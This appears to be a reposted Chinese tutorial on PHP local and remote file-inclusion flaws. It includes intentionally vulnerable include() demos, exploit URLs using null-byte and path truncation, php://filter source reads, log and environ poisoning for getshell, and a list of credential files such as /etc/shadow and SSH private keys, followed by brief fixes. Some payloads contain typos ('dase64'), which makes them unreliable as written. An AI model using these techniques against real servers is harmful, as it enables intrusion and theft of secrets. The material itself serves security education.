700字范文,内容丰富有趣,生活中的好帮手!
700字范文 > 任意文件包含漏洞

任意文件包含漏洞

时间:2019-09-18 14:58:23

相关推荐

任意文件包含漏洞

松鼠说web安全之文件包含

无需言,做自己。

0x01 漏洞成因

通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者检验被绕过,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。 本地文件包含漏洞 被包含的文件在服务器本地

远程文件包含漏洞。 被包含的文件在第三方服务器

条件:php.ini中配置项:

allow_url_fopen ON

allow_url_include ON

0x02 PHP中常见的文件包含函数

include():当使用该函数包含文件时,只有代码执行到include()函数是才将文件包含进来,发生错误时只给出一个警告,继续向下执行include_once():功能和include()相同,区别在于当重复调用同意文件时,程序只调用一次requier():使用require函数包含文件时,只要程序一执行,立即调用脚本;如果前者执行发生错误,函数或输出错误信息,并终止脚本运行require_once():功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次

总结:

(1) include() 执行到该函数时才会包含文件,而require() 程序一运行就加载文件;

(2) ***_once() 已加载的不重复加载

0x30 漏洞危害

执行任意脚本代码控制网站控制服务器

0x40 漏洞利用

本地文件包含

上传图片,包含图片Getshell 读文件,读PHP文件 包含日志文件GetShell 包含/proc/self/environ文件GetShell 如果有phpinfo可以包含临时文件 包含data:// 或者 php://input 等协议(需要allow_url_include=on)

1、包含图片的文件上传

demo1 show.php:

<?phpif($_GET['page']){include($_GET['page']);}else{include("show.php");}?>

上传图片 1_php.jpg

<?phpphpinfo();?>

测试:

http://localhost/code_inject/1/show.php?page=upload/0801155130.jpg

demo2 show.php:

<?phpif($_GET['page']){include("./action/".$_GET['page']);}else{include("./action/show.php");}?>

http://localhost/code_inject/2/show.php?page=../upload/0801155526.jpg

demo3 show.php:

<?phpif($_GET['page']){include("./action/".$_GET['page'].".php");}else{include("./action/show.php");}?>

http://localhost/code_inject/3/show.php?page=../upload/0801155718.jpg%00

2、“%00”截断的方式

读取/etc/passwd文件:/etc/passwd%00

条件:php.ini 中需要 magic_quotes_gpc = off,PHP小于5.3.4有效

3、路径长度截断

/etc/passwd/./././././.[...]/./././.

条件:PHP版本小于5.2.8(?)可以成功,linux需要文件名长于4096,window需要长于256

4、读文件

index.php?file=/etc/passwd

5、敏感文件:

<code class="hljs avrasm has-numbering">/root/<span class="hljs-preprocessor">.ssh</span>/authorized_keys /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa<span class="hljs-preprocessor">.keystore</span> /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa<span class="hljs-preprocessor">.pub</span> /root/<span class="hljs-preprocessor">.ssh</span>/known_hosts /etc/shadow /root/<span class="hljs-preprocessor">.bash</span>_history /root/<span class="hljs-preprocessor">.mysql</span>_history/proc/self/fd/fd[<span class="hljs-number">0</span>-<span class="hljs-number">9</span>]* (文件标识符) /proc/mounts/proc/config<span class="hljs-preprocessor">.gz</span></code>

6、读取PHP文件

index.php?file=php://filter/read=convert.dase64.encode/resource=index.php

7、包含日志文件GetShell (需要一定的读取权限)

首先要找到日志文件的存放位置

文件包含漏洞去读取apache的配置文件index.php?page=/etc/init.d/httpdindex.php?page=/etc/httpd/conf/httpd.conf默认位置 /var/log/httpd/access_log

让日志文件插入PHP代码

burpsuite抓包改包curl发包php代码插入到get请求部分或者user_agent部分

包含日志文件

index.php?page=/var/log/httpd/access_log

8、包含环境变量GetShell

需要PHP运行在CGI模式,然后和包含日志文件一样,在User_agent中修改成payload

远程文件包含

条件:

php.ini 中配置项

alow_url_fopen ONallow_url_include ON

远程服务器存在一个txt文件,或者一个不被当前服务器解析的php文件(包含的时候 包含的是返回的php源代码,所以php源码不能被解析)index.php?page=/1/txt

0x05 漏洞挖掘

特定的CMS,特定的版本可能存在漏洞 web漏洞扫描器扫描,常见web漏洞扫描器都支持文件包含漏洞的检测

0x06 漏洞修复

php中可以使用 open_basedir配置限制访问权限在指定区域过滤 . (点) / (斜杠) \ (反斜杠)禁止服务器远程文件包含

补充:

appache日志文件默认在

/etc/httpd/logs/access_log

或者

/var/log/httpd/access_logs

也可以找到apache的配置文件,通过配置文件找齐日志文件路径:

/etc/httpd/conf/httpd

或者

/etc/init.d/httpd

nginx日志文件默认在:

安装目录logs目录下

以我的安装路径为例/usr/local/nginx ------ 日志目录就是在/usr/local/nginx/logs里

window +iis6.0 日志文件默认放在

C:\WINDOWS\system32\Logfiles

配置文件默认在

C:\Windows/system32\inetsrv\metabase.xml

iis 7日志文件默认在

%SystemDrive%\inetpub\logs\LogFiles

配置文件默认目录

C:\Windows\System\inetsrv\config\applicationHost.config

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。